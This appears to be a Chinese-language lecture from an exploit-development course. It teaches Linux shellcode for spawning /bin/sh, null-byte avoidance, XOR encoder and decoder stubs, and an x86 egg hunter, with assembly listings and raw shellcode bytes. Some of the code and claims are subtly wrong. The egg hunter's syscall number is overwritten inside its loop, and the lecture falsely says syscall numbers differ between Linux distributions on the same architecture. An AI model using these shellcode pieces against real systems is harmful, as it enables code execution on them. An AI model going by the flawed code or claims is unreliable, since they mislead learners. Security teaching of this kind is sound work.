91、漏洞利用开发(一):Shellcode编写、编码器、Egg Hunter
各位好,欢迎来到第91讲。今天我们要聊的是漏洞利用开发中最核心、也最有趣的部分——Shellcode编写、编码器以及Egg Hunter。说白了,就是当你拿到一个程序的控制权后,怎么让它执行你想要的代码,以及怎么绕过那些烦人的安全机制。
我个人习惯把漏洞利用开发比作一场猫鼠游戏。你找到了一个漏洞,就像找到了一个老鼠洞。但洞口可能有各种障碍——比如坏字符、地址随机化、甚至只有一小块可控内存。这时候,你就需要Shellcode、编码器和Egg Hunter这些工具来帮你打通最后一段路。
一、Shellcode编写:从零开始造轮子
Shellcode,本质上就是一段机器码。它的目标很明确:执行你想要的系统调用,比如打开一个Shell、执行一条命令、或者反弹一个连接。我刚开始学的时候,总觉得这东西很神秘,后来发现,说白了就是汇编语言加一点技巧。
1.1 一个最简单的Shellcode:execve("/bin/sh")
我们先来看一个经典的例子。在Linux x64下,要执行/bin/sh,我们需要调用execve系统调用。系统调用号是59(0x3b)。
嗯,这里要注意:execve需要三个参数——rdi指向文件名,rsi指向参数数组,rdx指向环境变量数组。我们通常把rsi和rdx设为0。
; nasm -f elf64 shellcode.asm -o shellcode.o
; ld shellcode.o -o shellcode
BITS 64
global _start
_start:
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rdi, 0x68732f6e69622f ; "/bin/sh" 的小端序表示
push rdi
mov rdi, rsp ; rdi 指向栈上的字符串
mov al, 59 ; 系统调用号 59
syscall
编译后提取机器码,你会得到一串类似这样的字节:\x48\x31\xf6\x48\x31\xd2\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\xb0\x3b\x0f\x05。
\x00(空字节)会截断字符串。上面的代码里,mov rdi, 0x68732f6e69622f 这个立即数里就包含了 \x00。所以实际利用时,我们通常会用一些技巧来避免空字节。
1.2 避免空字节的技巧
为什么会这样?因为mov rdi, imm64这条指令,如果立即数的高位是0,它就会编码成带\x00的形式。解决办法有很多,我常用的一个是:
- 用
xor清零寄存器,然后push字符串,最后mov rdi, rsp。 - 或者用
lea指令来加载地址。 - 再或者,把字符串拆开,用
mov和shl组合。
举个例子,避免空字节的/bin/sh字符串构造:
xor rax, rax
push rax ; 字符串结束符 \0
mov rax, 0x68732f2f6e69622f ; "hs//nib/" 注意这里用了双斜杠
push rax
mov rdi, rsp
你看,0x68732f2f6e69622f 这个值里没有空字节,因为我们在路径里加了一个多余的斜杠/,Linux内核会忽略它。
二、编码器:绕过字符过滤的利器
有时候,目标程序会对输入做严格的过滤。比如只允许可见字符,或者禁止某些特定字节。这时候,你的Shellcode就不能直接用了。怎么办?编码器就是干这个的。
编码器的原理很简单:把原始Shellcode进行编码(比如XOR、ADD、Base64等),然后在运行时用一个解码器(stub)把它还原回来。解码器本身也是一段Shellcode,它必须符合字符过滤规则。
2.1 一个简单的XOR编码器
我记得有一次做CTF,题目要求Shellcode只能包含字母和数字。我写了一个简单的XOR编码器,把Shellcode和密钥0xAA异或,然后解码器再异或一次还原。
解码器的核心逻辑:
; 假设编码后的Shellcode在 rsi 指向的内存中
; 长度在 rcx 中
decode_loop:
lodsb ; 加载一个字节到 al
xor al, 0xAA ; 解码
stosb ; 存储到 rdi 指向的内存
loop decode_loop
当然,实际利用时,解码器本身也要避免坏字符。这就需要你精心设计指令序列了。
2.2 常见编码器类型
| 编码器类型 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| XOR编码器 | 每个字节与固定密钥异或 | 简单、快速 | 密钥容易被暴力破解 |
| ADD/SUB编码器 | 每个字节加减固定值 | 同样简单 | 模式明显 |
| 多态编码器 | 每次生成不同的解码器 | 抗签名检测 | 实现复杂 |
| Alpha数字编码器 | 只使用字母和数字 | 绕过严格过滤 | 体积膨胀大 |
你想想看,如果目标程序只允许[a-zA-Z0-9],那你的Shellcode体积可能会膨胀到原来的10倍以上。这就是为什么有时候我们需要更高级的技巧——比如Egg Hunter。
三、Egg Hunter:在有限空间中寻找无限可能
Egg Hunter,直译过来就是“蛋猎手”。这个名字挺形象的。想象一下,你只有一个很小的缓冲区(比如几十字节),根本放不下完整的Shellcode。但你可以放一段“猎手”代码,它的任务是在进程的地址空间里寻找你预先放置的“蛋”(一段特殊的标记+真正的Shellcode)。
为什么会需要这个?我遇到过一种情况:目标程序有一个很小的栈溢出,只能覆盖返回地址和几个字节。但程序本身会多次读取输入,或者有堆内存可以控制。这时候,我就在第一次输入时放一个Egg Hunter,在第二次输入时放真正的Shellcode。Egg Hunter会扫描内存,找到那个蛋,然后跳过去执行。
3.1 Egg Hunter的工作原理
一个典型的Egg Hunter流程:
- 设置一个起始地址(比如从某个内存页开始)。
- 检查当前地址是否包含“蛋标记”(比如
0x41414141)。 - 如果找到,跳转到蛋标记后面的Shellcode。
- 如果没找到,地址加1,继续扫描。
- 如果遇到无效内存页(
sigsegv),跳过整个页。
这里的关键是处理无效内存页。你不能直接访问未映射的内存,否则程序会崩溃。所以,Egg Hunter通常会用sigaction或者access系统调用来检测内存是否可读。
3.2 一个经典的Linux x86 Egg Hunter
下面这个例子来自经典的Safari论文,它使用access系统调用来检测内存:
; Egg Hunter for Linux x86
; 蛋标记: 0x41414141
; 系统调用 access: eax = 0x21
; 参数: ebx = 地址, ecx = 模式 (0 表示存在)
BITS 32
global _start
_start:
xor edx, edx ; edx = 0
mov eax, 0x21 ; access 系统调用号
next_page:
or dx, 0xfff ; 对齐到页边界 (4096)
next_addr:
inc edx ; 下一个地址
lea ebx, [edx+0x4] ; 检查 edx+4 处(避免检查蛋标记本身)
int 0x80 ; 调用 access
cmp al, 0xf2 ; 检查返回值 (EFAULT = -14, 即 0xf2)
jz next_page ; 如果无效,跳到下一页
cmp [edx], 0x41414141 ; 检查蛋标记
jnz next_addr ; 没找到,继续
jmp edx ; 找到,跳转到蛋标记处执行
嗯,这里要注意:access系统调用在检查无效地址时,会返回-EFAULT(即0xfffffff2),而al寄存器会保存低8位,也就是0xf2。所以我们可以用cmp al, 0xf2来判断。
四、知识体系与核心逻辑
为了让你更直观地理解这三者之间的关系,我画了一张图:
这张图展示了漏洞利用开发中的决策流程。你触发漏洞后,首先要判断目标环境是否有字符过滤。如果有,就需要用编码器对Shellcode进行编码。然后,判断可用空间是否足够放下完整的Shellcode。如果不够,就需要用Egg Hunter来寻找更大的内存区域。最后,执行真正的Shellcode。
五、实战中的一些心得
好了,技术点讲完了。最后分享几个我在实战中踩过的坑:
- 测试环境很重要: 我建议你在本地用Docker搭建一个和目标一样的系统环境。不同内核版本、不同libc版本,都可能影响Shellcode的执行。我曾经在Ubuntu 18.04上写好的Shellcode,放到CentOS 7上就崩了,原因是系统调用号不一样。
- 调试器是你的好朋友: 用GDB单步执行你的Shellcode,观察寄存器和内存的变化。你会发现很多意想不到的问题,比如栈对齐、指令长度错误等。
- 不要迷信现成的Shellcode: 网上有很多现成的Shellcode,但直接拿来用往往不行。因为目标环境的地址、端口、坏字符规则都不一样。我习惯自己写,或者至少把现成的代码理解透了再改。
- Egg Hunter的稳定性: 如果你用Egg Hunter,一定要确保蛋标记足够独特(比如8字节的随机值),避免误匹配。另外,扫描范围也要控制好,不要扫到内核空间,否则会触发段错误。
嗯,这一讲的内容就到这里。Shellcode编写、编码器、Egg Hunter,这三者是漏洞利用开发的基础功。你想想看,没有它们,你就算找到了漏洞,也只能看着程序崩溃,什么都做不了。所以,多练、多写、多调试,慢慢就会找到感觉。
记住,逆向工程和漏洞利用,本质上是对计算机系统底层原理的深刻理解。每当你解决一个问题,你对系统的认识就会更深一层。好了,我们下一讲再见。